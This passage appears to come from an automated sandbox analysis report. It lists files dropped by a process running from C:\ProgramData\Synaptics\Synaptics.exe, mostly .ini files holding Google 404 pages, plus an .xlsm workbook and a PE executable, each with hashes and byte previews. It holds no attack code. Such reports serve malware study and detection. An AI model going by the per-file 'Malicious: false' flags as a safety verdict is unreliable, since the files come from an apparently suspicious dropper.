Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="E7nB705iiYEP7jdJSrmBpQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iYV9bRC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256461469503897
Encrypted:	false
SSDEEP:	24:GgsF+09xQe3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Kb3+pAZewRDK4mW
MD5:	01B8B61D1EF56F8F0C1C1413101F0368
SHA1:	90F46978EBCBB265939A00CBDD83E7BEBAD32B10
SHA-256:	6F8A2262FD34FB14CA920CE71C80C7113B2AAB5A89FA9347799D343AA0774EA5
SHA-512:	23AE88715324B7FCB81BD901A60891C4494E1C84A9D4E75EBDB9597FEA331CC25D020A31256F756504F83DD5C88E6797B561C5F3BD158870F44FE2A635FEBEE8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JygWxfgtAWja071fEuIkLw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\laCQXzP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266078204969841
Encrypted:	false
SSDEEP:	24:GgsF+0GhSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+T+pAZewRDK4mW
MD5:	FF45F620EEF5ED51A13AB4B8BE209D3E
SHA1:	26E784AAC33B24A459DF27B82E2FE2FF347B8337
SHA-256:	22873BBEBAAABAF98F1E315046AB6D5C460F415979E7866B150BD79F944BD841
SHA-512:	8E6F473E9F4806D849875474961EB6E49E29C051D2A78DEAA3811A4755337D88195D8ABC9C26487D6273326263652E4E9DED6DEF84F631FE3BBCA14AA8EF0649
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nYjggBjz5g3bEosDzI4HVQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\mxxLiee.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260084626057697
Encrypted:	false
SSDEEP:	24:GgsF+0SnSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+P+pAZewRDK4mW
MD5:	6AC6647248A1C6D54EC71FB73F81DF95
SHA1:	E8AE6FB30E8F05FEB82D1910219119D3C5A44725
SHA-256:	529E9BB2069965CA2C7F8D58A01FA5F83F9603F1B45E4857B087324DA0FDE3C2
SHA-512:	5442988330EEFFC75884023009240CB5D3E8FCE8A9E8614374218BCC2268E8A513CCD9A43A067F193F2B43CCB6AC34EE8EC35DBBB37086D07D88F82F8B4A116C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9PpFFgKPvwmZokTNYv2U5g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\nH4Vmrz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266119648604836
Encrypted:	false
SSDEEP:	24:GgsF+0BnDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK++D+pAZewRDK4mW
MD5:	1ADF6A17A911368783248B5E1854A85C
SHA1:	EF6177228F6000ABC59965877EC63ADA4DC4C20C
SHA-256:	5B0202A86D58175F64692FBE85AAF20F43BC5E5A34B528279BB9E285ADA55CC7
SHA-512:	1B7DDA5869FE3A3FC4752BBAC49FB5848B8C5FAEF28E8E9A7FDF268A09B9FB151F422D6BD1A1242ABB3BBE2E802DA616D75F4286DEA2B258F56F8059301895ED
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="64R9QLcx7JyNr9o63fGvTQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ofbduaaa.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\orMnlri.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2591981258323015
Encrypted:	false
SSDEEP:	24:GgsF+0WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+l+pAZewRDK4mW
MD5:	99A547AB3B4CAC4B7BFDD130D7C32AAD
SHA1:	199895644E2450A594DADD47A0C4EF267B9296F3
SHA-256:	B32995C52E2F7121B794B2C482B53091852D9DADFD8AC4E2CB20107B2D0082C1
SHA-512:	B27E2A599F3F94C4210B8E5EC9F039CC9366105660DECBEB44E3B6DFD8B4A4564C32AEF3B81E0C4B341EFF1304B41296C28828A61FE9E9903110A60815E49E7B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Nqa_NoErehvXtDKZsuDqtA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pLC5FJJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255257991087609
Encrypted:	false
SSDEEP:	24:GgsF+0RSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+O+pAZewRDK4mW
MD5:	BADBC3787869B1326690E1DD19C89C3D
SHA1:	97B498ECCC086EAF8F3D61B15A80EE67C0DD6099
SHA-256:	413F07F207D347C62AB8E0F16AA6E9A0358FE58CF4FA1D001D0D65C80DB875D8
SHA-512:	1355B1535E220ADEFDFC4E687DFEBE39EB2C5D71F8F568A4C4DCCE893B260A08ACC44FAE2107EFB520113568E0E9BCA1ADF6DFACBCB4B4AB448CB08736C4DF1F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8CO5G2VCo1zrxMots68zig">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\pVfGqz4.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260989398724525
Encrypted:	false
SSDEEP:	24:GgsF+0z/DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W/D+pAZewRDK4mW
MD5:	0EF27F74BF5E7CAC74FE272E3D239FCE
SHA1:	ACBBF089CA44CA9AC5895144EC524B1A29AC4DDA
SHA-256:	C5593267CF7795B672F67579B2F4A9E37F17C7A47A2489827FE144C0F37C9023
SHA-512:	D02CF6898090298464EBA19F4D5F63759DD86BBFAF9D4707962DDE7D12DE391775BD550733F73EC50C93340710618B831E407BA833B44A72CCA83A43C326B84D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WAWTS_NDJvyy7bdtl3lGwg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qKH5Yrm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274498892722879
Encrypted:	false
SSDEEP:	24:GgsF+06gGzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+TgW+pAZewRDK4mW
MD5:	7505A14C2FFA403F6D1C5B6D20254540
SHA1:	BEDB024398896680FB9309FAB399073B93346D18
SHA-256:	0EE6DA01D036F313D758B10F9699BB26C480C8CDCA8D661C4BFBDB470C51A7E0
SHA-512:	C7D3D22B5A0D4B9B15397E22EC6C0CAA23488226E5D37710B0D9D9B6A6E00FED323D448AEE621E8B9B39254F3233DBF6BAE73F98C8B523BC36D4AAB0F6098D86
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xhSX5YA_RJqF72LVWpyTcQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\qoL2zOE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260729230890499
Encrypted:	false
SSDEEP:	24:GgsF+0GW1SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+y1+pAZewRDK4mW
MD5:	E11A38E33287E151A87A2FF54D49897B
SHA1:	E48D04D9FAD9A10D378569FF85E603312A61315C
SHA-256:	3D0F33EB26B5955EB7D1C913824DF699F1B8AEF52562B588A1FE5017D5F384C0
SHA-512:	2E27AF8A698985DDD4711895FF1264C02A56B5774D60973541EEDCC3D1BB4967BBE4DEE8C2C37D232561A23D2D17EE11D5833C59C227E28DADB046FEB90B6F42
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zruuiq4UMIZi5I3hwwXwMA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\roSA56x.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2592661538674275
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	F3931AE69D4E84A3F9B8D2AB28A0403D
SHA1:	BF24CCC24F2C0281228505AC543A6A38D8E251B0
SHA-256:	7BEE4843E9CF75A5D7F30222365085BE8FA97A70BC0ADF765D645ECD0CCB3B15
SHA-512:	1D7AB90175F21E20DDC38AB0B37265526FC3D33D81E05A07053A07A8DE587D3BD2F34F015D7A21F0CC648B157688EECEAC628D249DF5A66A63AACDA0F7F944E2
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cJJDPc5894Nnd4aqdevzAA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\rwuvIG2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.276236519500764
Encrypted:	false
SSDEEP:	24:GgsF+04SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+H+pAZewRDK4mW
MD5:	D13437C0275E402F15E3419E59B6365D
SHA1:	6B9247344B62585FCC01100C7522DD7500479E27
SHA-256:	320824A418D41FC9E4297D39E4FB1C37A057E8C46DDC6DACB338252FDAA93CE0
SHA-512:	D90CB155873FF1C55FED716D6B86E4DB439A13F6EB6BFFC7E30529375D2A8188B8E37A3C190CA8FC773BE9F687062F2154EEA36AC4A4AE5D4C0BD43473DDCC9B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="j2PWoccFE9PWQhVYNDFSDg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\xUhnLnC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246046669044378
Encrypted:	false
SSDEEP:	24:GgsF+0fSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+s+pAZewRDK4mW
MD5:	6C50F4624EA13301602D21A1DC1F61DB
SHA1:	E829FB4D4FD81DC816DB2E36AE4B810E5982DC5C
SHA-256:	0F46D54721F533C078622C0AD5A1B255A5A521ED6B29FE4FFA155AD76A95ABD7
SHA-512:	2E8EF78BF5EF2EA16137C4402299D0E202450250835E7A13EE7A8B0BD6CB25EBE04CF0201D3C83743F58D5B47BF116651A0FECCF62A677F6F1A6270A304D39AC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="t99Pod_SdWnvrwmLLcf4dw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ytNi4cm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.243646386667518
Encrypted:	false
SSDEEP:	24:GgsF+0k0zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+N0z+pAZewRDK4mW
MD5:	25F60CA43A78BBA355B07F102F80D19A
SHA1:	5F9C6FAC036D7D6A9F45C9DDB7F44713451A6575
SHA-256:	A6D7080B33EB0F3BE5828059480EEA682824EBF8D91D9B0D1DE92781D9045B3E
SHA-512:	A42B1DED92D842551C353F34451647FC0AF2E26648B44F32EF812CE8CD5442B0D711522E2549F5B1681B6A0CD9056FA2A6014D337B1E7D8691F2C910875A4CFB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fggc_rpKEepgXceO3IUbig">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zVfsqzE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25111418958966
Encrypted:	false
SSDEEP:	24:GgsF+0mKqISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bKqI+pAZewRDK4mW
MD5:	55299A12B51FE19812667D918BF83163
SHA1:	3CBC3A71691824B22BF2F6895DCDF3C06B416784
SHA-256:	29947F631D2852603D6E61AAADFFD5BD5644D2B11D000D45EE63E3C99AB911EF
SHA-512:	9CCC6AB8566E72A306E5B52B083CC5CC0AE69E93C2FB7FD62498D9EA1FEE6F773BF06AB72BEC8544587766FCA89959AD9AAAAF53170FB3AEA648BAC9ABE2CAE8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iMtiXs6204lkXen1viFQ6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\Desktop\._cache_file.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5718872
Entropy (8bit):	7.999141578918811
Encrypted:	true
SSDEEP:	98304:EuLgywiNHBeSLxYK/bxE3q/BlZkWMGPQflVJ/EK1sLyzs2T2Q1mOjq4/:V7wqheSVYK/bua/BlWWnuVhsus8nm+qi
MD5:	630D75210B325A280C3352F879297ED5
SHA1:	B330B760A8F16D5A31C2DC815627F5EB40861008
SHA-256:	B06546DDC8CA1E3D532F3F2593E88A6F49E81B66A9C2051D58508CC97B6A2023
SHA-512:	B6E107FA34764D336C9B59802C858845DF9F8661A1BEB41436FD638A044580557921E69883ED32737F853E203F0083358F642F3EFE0A80FAE7932C5E6137331F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#pA.B...B...B..gM...B...B...B..gMC..B..gMA..B..gM@..B..gMD..B..Rich.B..........................PE..L....jkG.............................c... ........... ...............................3X.......... ...................................................,W.X........... "...............................&..@............ ...............................text........ ...................... ..`.data...............................@....rsrc.............V.................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\AFWAAFRXKO\NHPKIZUUSG.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
